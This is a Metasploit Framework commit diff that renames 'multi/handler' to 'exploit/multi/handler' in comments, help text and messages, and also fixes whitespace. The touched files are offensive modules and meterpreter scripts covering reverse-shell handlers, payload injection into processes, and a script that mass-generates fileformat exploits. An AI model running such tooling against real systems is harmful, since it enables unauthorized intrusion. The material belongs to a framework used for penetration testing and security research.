Land #5527, multi/handler -> exploit/multi/handler

bug/bundler_fix
William Vu 2015-06-15 10:23:26 -05:00
commit 8d640a0c8f
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
16 changed files with 133 additions and 134 deletions

View File

@ -191,7 +191,7 @@ module Msf::DBManager::Session
via_payload: session.via_payload,
}
# In the case of multi handler we cannot yet determine the true
# In the case of exploit/multi/handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']

View File

@ -497,7 +497,7 @@ module Exploit::Remote::HttpServer
# bind payload but there's nothing we can do about it.
#
# NOTE: The address will be *incorrect* in the following two situations:
# 1. LHOST is pointed at a multi/handler on some other box.
# 1. LHOST is pointed at a exploit/multi/handler on some other box.
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
# using a bind payload. In that case, we don't have an LHOST and
# the source address will be internal.

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
an attacker is able to write arbitrary files to arbitrary locations on disk.
Code execution occurs by writing to the All Users Startup Programs directory.
You may want to combine this module with the use of multi/handler since a
You may want to combine this module with the use of exploit/multi/handler since a
user would have to log for the payload to execute.
},
'License' => MSF_LICENSE,

View File

@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
If you are attempting to obtain multiple reverse shells using this module we
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
up a multi/handler to run in the background as a job to support multiple incoming
up a exploit/multi/handler to run in the background as a job to support multiple incoming
shells.
If you are interested in deploying payloads to spefic servers this module also
@ -89,17 +89,17 @@ class Metasploit3 < Msf::Exploit::Remote
# Define master array to keep track of enumerated database information
masterList = Array.new
masterList[0] = Hash.new # Define new hash
masterList[0]["name"] = "" # Name of the current database server
masterList[0]["db_link"] = "" # Name of the linked database server
masterList[0]["db_user"] = "" # User configured on the database server link
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
masterList[0]["db_version"] = "" # Database version of the linked database server
masterList[0]["db_os"] = "" # OS of the linked database server
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
masterList[0] = Hash.new # Define new hash
masterList[0]["name"] = "" # Name of the current database server
masterList[0]["db_link"] = "" # Name of the linked database server
masterList[0]["db_user"] = "" # User configured on the database server link
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
masterList[0]["db_version"] = "" # Database version of the linked database server
masterList[0]["db_os"] = "" # OS of the linked database server
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
# Setup query for gathering information from database servers
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\

View File

@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post
OptInt.new('LPORT',
[false, 'Port for Payload to connect to.', 4433]),
OptBool.new('HANDLER',
[ true, 'Start an Exploit Multi Handler to receive the connection', true])
[ true, 'Start an exploit/multi/handler to receive the connection', true])
], self.class)
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post
if datastore['HANDLER']
listener_job_id = create_multihandler(lhost, lport, payload_name)
if listener_job_id.blank?
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
return nil
end
end
@ -208,7 +208,7 @@ class Metasploit3 < Msf::Post
timer += 1
end
end
print_status('Stopping multi/handler')
print_status('Stopping exploit/multi/handler')
framework.jobs.stop_job(listener_job_id)
}
end
@ -238,12 +238,12 @@ class Metasploit3 < Msf::Post
return false
end
# Starts a multi/handler session
# Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit multi handler')
print_status('Starting exploit/multi/handler')
if !check_for_listener(lhost, lport)
# Set options for module
mh = client.framework.exploits.create('multi/handler')

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post
OptInt.new('LPORT',
[false, 'Port for Payload to connect to.', 4433]),
OptBool.new('HANDLER',
[ true, 'Start an Exploit Multi Handler to receive the connection', false]),
[ true, 'Start an exploit/multi/handler to receive the connection', false]),
OptEnum.new('TYPE', [true, 'Scripting environment on target to use for reverse shell',
'auto', ['auto','ruby','python','perl','bash']])
], self.class)
@ -111,12 +111,12 @@ class Metasploit3 < Msf::Post
return conflict
end
# Starts a multi/handler session
# Starts a exploit/multi/handler session
def create_multihand(lhost,lport)
pay = client.framework.payloads.create("generic/shell_reverse_tcp")
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status("Starting exploit multi handler")
print_status("Starting exploit/multi/handler")
if not check_for_listner(lhost,lport)
# Set options for module
mul = client.framework.exploits.create("multi/handler")

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post
OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]),
OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]),
OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']),
OptBool.new('HANDLER', [false, 'Start new multi/handler job on local box.', false]),
OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]),
OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1])
], self.class)
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Post
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
print_good("Multi/Handler started!")
print_good("exploit/multi/handler started!")
end
# Function for Creating the Payload

View File

@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post
OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),
OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]),
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
OptBool.new('HANDLER', [ false, 'Start an Exploit Multi Handler to receive the connection', false]),
OptBool.new('HANDLER', [ false, 'Start an exploit/multi/handler to receive the connection', false]),
OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."]),
OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1])
], self.class)
@ -112,9 +112,9 @@ class Metasploit3 < Msf::Post
return pay
end
# Starts a multi/handler session
# Starts a exploit/multi/handler session
def create_multihand(pay,pay_name,lhost,lport)
print_status("Starting exploit multi handler")
print_status("Starting exploit/multi/handler")
if not check_for_listner(lhost,lport)
# Set options for module
mul = client.framework.exploits.create("multi/handler")

4
msfcli
View File

@ -95,7 +95,7 @@ class Msfcli
$stdout.puts "Error: #{str}\n\n" if str
$stdout.puts tbl.to_s + "\n"
$stdout.puts "Examples:" + "\n"
$stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n"
$stdout.puts "msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n"
$stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n"
$stdout.puts extra + "\n" if extra
$stdout.puts
@ -542,7 +542,7 @@ class Msfcli
show_payloads(modules)
end
when "t"
puts
puts
if modules[:module].file_path =~ /auxiliary\//i
$stdout.puts("\nError: This type of module does not support targets")
else

View File

@ -23,7 +23,7 @@ opts = Rex::Parser::Arguments.new(
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"]
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]
)
#

View File

@ -18,7 +18,7 @@ session = client
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
"-A" => [ false, "Automatically start a matching multi/handler to connect to the service"]
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"]
)
# Exec a command and return the results
@ -117,7 +117,7 @@ if client.platform =~ /win32|win64/
end
#
# Setup the multi/handler if requested
# Setup the exploit/multi/handler if requested
#
if(autoconn)
print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")

View File

@ -20,11 +20,11 @@ payload_type = "windows/meterpreter/reverse_tcp"
start_handler = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"],
"-m" => [ false, "Start Exploit multi/handler for return connection"],
"-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"],
"-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."],
"-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."]
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)."],
"-m" => [ false, "Start exploit/multi/handler for return connection."],
"-pt" => [ true, "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],
"-mr" => [ true, "Provide multiple IP addresses for connections separated by comma."],
"-mp" => [ true, "Provide multiple PID for connections separated by comma one per IP."]
)
meter_type = client.platform
@ -33,9 +33,9 @@ meter_type = client.platform
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload"
print_line "in to memory of multiple PIDs, if none is provided a notepad process."
print_line "will be created and a Meterpreter Payload will be injected in to each."
print_line "Meterpreter script for injecting a reverce tcp Meterpreter payload"
print_line "in to memory of multiple PIDs. If none is provided, a notepad process"
print_line "will be created and a Meterpreter payload will be injected in to each."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
@ -43,7 +43,7 @@ end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
print_error("#{meter} version of Meterpreter is not supported with this script!")
raise Rex::Script::Completed
end
@ -62,12 +62,12 @@ def inject(target_pid, payload_to_inject)
host_process.thread.create(mem, 0)
print_good("Successfully injected Meterpreter in to process: #{target_pid}")
rescue::Exception => e
print_error("Failed to Inject Payload to #{target_pid}!")
print_error("Failed to Inject payload to #{target_pid}!")
print_error(e)
end
end
# Function for Creation of Connection Handler
# Function for creation of connection handler
#-------------------------------------------------------------------------------
def create_multi_handler(payload_to_inject)
mul = @client.framework.exploits.create("multi/handler")
@ -84,7 +84,7 @@ def create_multi_handler(payload_to_inject)
end
# Function for Creating the Payload
# Function for creating the payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
@ -98,7 +98,7 @@ end
# Function starting notepad.exe process
#-------------------------------------------------------------------------------
def start_proc()
print_good("Starting Notepad.exe to house Meterpreter Session.")
print_good("Starting Notepad.exe to house Meterpreter session.")
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
print_good("Process created with pid #{proc.pid}")
return proc.pid
@ -121,12 +121,12 @@ end
end
}
# Check for Version of Meterpreter
# Check for version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Create a Multi Handler is Desired
# Create a exploit/multi/handler if desired
create_multi_handler(payload_type) if start_handler
# Check to make sure a PID or Program name where provided
# Check to make sure a PID or program name where provided
if multi_ip
if multi_pid
@ -149,4 +149,3 @@ if multi_ip
else
print_error("You must provide at least one IP!")
end

View File

@ -35,7 +35,7 @@ script_on_target = nil
"-X" => [ false, "Automatically start the agent when the system boots"],
"-U" => [ false, "Automatically start the agent when the User logs on"],
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
"-T" => [ true, "Alternate executable template to use"],
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
@ -138,7 +138,7 @@ def write_script_to_target(target_dir,vbs)
return tempvbs
end
# Function for setting multi handler for autocon
# Function for setting exploit/multi/handler for autocon
#-------------------------------------------------------------------------------
def set_handler(selected_payload,rhost,rport)
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
@ -154,7 +154,7 @@ def set_handler(selected_payload,rhost,rport)
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
print_good("Multi/Handler started!")
print_good("exploit/multi/handler started!")
end
# Function to execute script on target and return the PID of the process
@ -237,7 +237,7 @@ raw = create_payload(payload_type, rhost, rport)
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
script_on_target = write_script_to_target(target_dir, script)
# Start Multi/Handler
# Start exploit/multi/handler
if autoconn
set_handler(payload_type, rhost, rport)
end

View File

@ -21,7 +21,7 @@ opts = Rex::Parser::Arguments.new(
"-v" => [ true, "The local port for the VNC proxy service (default: 5900)"],
"-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"],
"-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"],
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"],
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"],
"-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"],
"-V" => [ false, "Disable the automatic launch of the VNC client"],
"-t" => [ false, "Tunnel through the current session connection. (Will be slower)"],
@ -176,7 +176,7 @@ else
end
if tunnel
# Set up a port forward for the multi/handler to use for uploading the stage
# Set up a port forward for the exploit/multi/handler to use for uploading the stage
print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}")
client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}")
end

View File

@ -1,42 +1,42 @@
<ruby>
if (framework.datastore['WIN_PAYL'] != nil)
winpayl = framework.datastore['WIN_PAYL']
winpayl = framework.datastore['WIN_PAYL']
else
# no payload defined -> we use a messagebox payload :)
winpayl = "windows/messagebox"
# no payload defined -> we use a messagebox payload :)
winpayl = "windows/messagebox"
end
if (framework.datastore['OSX_PAYL'] != nil)
osxpayl = framework.datastore['OSX_PAYL']
osxpayl = framework.datastore['OSX_PAYL']
else
# no payload defined -> we use a generic bind payload :)
osxpayl = "generic/shell_bind_tcp"
# no payload defined -> we use a generic bind payload :)
osxpayl = "generic/shell_bind_tcp"
end
if (framework.datastore['MULTI_PAYL'] != nil)
multipayl = framework.datastore['MULTI_PAYL']
multipayl = framework.datastore['MULTI_PAYL']
else
# no payload defined -> we use a generic bind payload :)
multipayl = "generic/shell_bind_tcp"
# no payload defined -> we use a generic bind payload :)
multipayl = "generic/shell_bind_tcp"
end
if (framework.datastore['LHOST'] == nil and (winpayl =~ /reverse/ or osxpayl =~ /reverse/ or multipayl =~ /reverse/))
print_error("please define a global LHOST Variable")
return
print_error("please define a global LHOST Variable")
return
else
localIP = framework.datastore['LHOST']
localIP = framework.datastore['LHOST']
end
if (framework.datastore['VERBOSE'] == "true")
verbose = 1 #true
verbose = 1 #true
else
verbose = 0
verbose = 0
end
if (framework.datastore['HANDLERS'] == "true")
handlers = 1 #true
handlers = 1 #true
else
handlers = 0
handlers = 0
end
windows = false
@ -44,66 +44,66 @@ multi = false
osx = false
framework.exploits.each do |exploit,mod|
if(exploit.to_s =~ /fileformat/)
print_line("generating fileformat exploit: #{exploit.to_s}")
run_single("use #{exploit}")
if(exploit.to_s =~ /windows/)
#we need this info for starting the handlers
windows = true
#setting the payload
run_single("set PAYLOAD #{winpayl}")
if(winpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 4444")
end
elsif(exploit.to_s =~ /multi/)
#we need this info for starting the handlers
multi = true
#setting the payload
run_single("set PAYLOAD #{multipayl}")
if(winpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 5555")
end
elsif(exploit.to_s =~ /osx/)
#we need this info for starting the handlers
osx = true
#setting the payload
run_single("set PAYLOAD #{osxpayl}")
if(osxpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 6666")
end
end
extension = active_module.datastore['FILENAME'].split('.').last
filename = exploit.split('/').last
run_single("set FILENAME #{filename}.#{extension}")
run_single("exploit")
print_line
end
if(exploit.to_s =~ /fileformat/)
print_line("generating fileformat exploit: #{exploit.to_s}")
run_single("use #{exploit}")
if(exploit.to_s =~ /windows/)
#we need this info for starting the handlers
windows = true
#setting the payload
run_single("set PAYLOAD #{winpayl}")
if(winpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 4444")
end
elsif(exploit.to_s =~ /multi/)
#we need this info for starting the handlers
multi = true
#setting the payload
run_single("set PAYLOAD #{multipayl}")
if(winpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 5555")
end
elsif(exploit.to_s =~ /osx/)
#we need this info for starting the handlers
osx = true
#setting the payload
run_single("set PAYLOAD #{osxpayl}")
if(osxpayl =~ /reverse/)
run_single("set LHOST #{localIP}")
run_single("set LPORT 6666")
end
end
extension = active_module.datastore['FILENAME'].split('.').last
filename = exploit.split('/').last
run_single("set FILENAME #{filename}.#{extension}")
run_single("exploit")
print_line
end
end
if(handlers == 1)
#starting some handlers for reverse connections
run_single("use multi/handler")
if(windows == true and winpayl =~ /reverse/)
run_single("set PAYLOAD #{winpayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 4444")
run_single("exploit -j")
end
if(multi == true and multipayl =~ /reverse/)
run_single("set PAYLOAD #{multipayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 5555")
run_single("exploit -j")
end
if(osx == true and osxpayl =~ /reverse/)
run_single("set PAYLOAD #{osxpayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 6666")
run_single("exploit -j")
end
#starting some handlers for reverse connections
run_single("use exploit/multi/handler")
if(windows == true and winpayl =~ /reverse/)
run_single("set PAYLOAD #{winpayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 4444")
run_single("exploit -j")
end
if(multi == true and multipayl =~ /reverse/)
run_single("set PAYLOAD #{multipayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 5555")
run_single("exploit -j")
end
if(osx == true and osxpayl =~ /reverse/)
run_single("set PAYLOAD #{osxpayl}")
run_single("set LHOST #{localIP}")
run_single("set LPORT 6666")
run_single("exploit -j")
end
end
run_single("back")
</ruby>

View File

@ -289,8 +289,8 @@ describe Msfcli, :content do
}
end
end
context "#guess_nop_name" do
subject(:guess_nop_name) {
msfcli.guess_nop_name(nop_reference_name)
@ -555,8 +555,8 @@ describe Msfcli, :content do
expect(modules[:module].fullname).to eq(module_name)
end
end
context 'with multi/handler' do
context 'with exploit/multi/handler' do
let(:module_name) {
'multi/handler'
}
@ -571,14 +571,14 @@ describe Msfcli, :content do
expect(modules[:module]).to be_an Msf::Exploit
expect(modules[:module].refname).to eq(module_name)
end
context 'with payload' do
let(:args) {
super().tap { |args|
args.insert(-2, "payload=#{payload_reference_name}")
}
}
context 'windows/meterpreter/reverse_tcp' do
let(:payload_reference_name) do
'windows/meterpreter/reverse_tcp'